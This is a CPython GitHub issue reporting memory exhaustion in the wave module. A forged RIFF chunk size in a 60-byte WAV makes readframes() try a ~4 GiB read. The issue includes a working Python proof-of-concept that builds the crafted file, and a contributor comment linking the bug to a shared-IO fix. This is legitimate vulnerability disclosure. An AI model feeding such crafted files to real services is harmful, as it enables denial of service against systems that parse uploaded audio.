Repository navigation
Memory Exhaustion in wave.readframes() via Crafted Chunk Size #151308
Copy link
Copy link
Open
Labels
stdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytype-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or error
Description
Bug report
Bug description:
Summary
The wave module reads RIFF/WAV chunk sizes from 4-byte header fields without validating them against available input. A 60-byte crafted WAV claiming ~4 GiB of audio data causes readframes() to attempt a ~4 GiB pre-allocation via file.read(chunksize).
Details
_Chunk.__init__ reads chunksize with no upper bound, then _Chunk.read() passes it to file.read():
Line 130 in 9633c52
| self.chunksize = struct.unpack_from(strflag+'L', file.read(4))[0] |
Lines 188 to 192 in 9633c52
| if size < 0: | |
| size = self.chunksize - self.size_read | |
| if size > self.chunksize - self.size_read: | |
| size = self.chunksize - self.size_read | |
| data = self.file.read(size) |
Reproducer
❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
MemoryError from 60-byte WAV with chunksize=4,294,967,295"""
Memory exhaustion in wave.readframes() via crafted WAV chunk size.
"""
import resource
import struct
import sys
import tempfile
import wave
CLAIMED_SIZE = 0xFFFFFFFF # ~4 GiB
MEM_LIMIT = 256 * 1024 * 1024 # 256 MiB
def build_crafted_wav() -> bytes:
"""Build a minimal WAV file (60 bytes) claiming ~4 GiB of audio data."""
fmt_data = struct.pack(
"<HHLLHH",
1, # wFormatTag = WAVE_FORMAT_PCM
1, # nchannels = 1 (mono)
44100, # framerate
88200, # dwAvgBytesPerSec
2, # wBlockAlign (nchannels * sampwidth)
16, # wBitsPerSample
)
fmt_chunk = b"fmt " + struct.pack("<L", len(fmt_data)) + fmt_data
data_chunk = (
b"data" + struct.pack("<L", CLAIMED_SIZE) + b"\x00" * 16
)
riff_header = b"RIFF" + struct.pack("<L", CLAIMED_SIZE) + b"WAVE"
return riff_header + fmt_chunk + data_chunk
def main():
wav_bytes = build_crafted_wav()
with tempfile.NamedTemporaryFile(suffix=".wav") as tmp:
tmp.write(wav_bytes)
tmp.flush()
try:
w = wave.open(tmp.name, "r")
w.readframes(-1)
w.close()
except MemoryError:
print(
f"MemoryError from {len(wav_bytes)}-byte WAV "
f"with chunksize={CLAIMED_SIZE:,}"
)
sys.exit(0)
except Exception:
print("BLOCKED: wave rejected crafted chunksize")
sys.exit(1)
print("BLOCKED: no allocation error raised")
sys.exit(1)
if __name__ == "__main__":
resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
main()Impact
Memory Error
Related issue
CPython versions tested on:
3.15
Operating systems tested on:
Linux
Linked PRs
Reactions are currently unavailable
Metadata
Metadata
Assignees
Labels
stdlibStandard Library Python modules in the Lib/ directoryStandard Library Python modules in the Lib/ directorytype-bugAn unexpected behavior, bug, or errorAn unexpected behavior, bug, or error
Activity
harjothkhara commentedon Jun 11, 2026
Reproduced on current
main. With the 60-byte crafted file (RIFF size anddatachunk size both0xFFFFFFFF) and aread()-observing wrapper around the source,waveissues a single raw read request of ~4 GiB straight from the forged chunk size in_Chunk.read()(Lib/wave.py), which pre-allocates on a realFileIO/BufferedReader, so this reproduces as described.That said, this looks like the same
read(n)-with-attacker-controlled-nclass tracked by #141713, which has an open core-dev PR (#142022) makingFileIO.read()/BufferedReader.read()grow their buffer progressively instead of allocating the full requested size up front. Because that fix lands at the shared IO layer (it changes nowave.py/zipfile/code), it should cover the filename /FileIO/BufferedReaderpath this reproducer uses — and the sibling zipfile report #151307 — without per-parser validation, and avoids the compat hazards of an up-frontchunksizecheck (legitimately-truncated-but-readable files, non-seekable streams). (A custom file-like with its own pre-allocatingread(n)would fall outside that, hence the optional local clamp below.)Is the preference to let #142022 cover this and close here as a duplicate of #141713, or would you also want a
wave-local defense-in-depth bound (clamp the read to remaining real file length when the source is seekable)? Happy to do the latter if wanted, but flagging the overlap first so I'm not duplicating @serhiy-storchaka's in-flight work.pythongh-151308: Avoid huge pre-allocation in wave.readframes() for c…
Merge branch 'main' into pythongh-151308-wave-readframes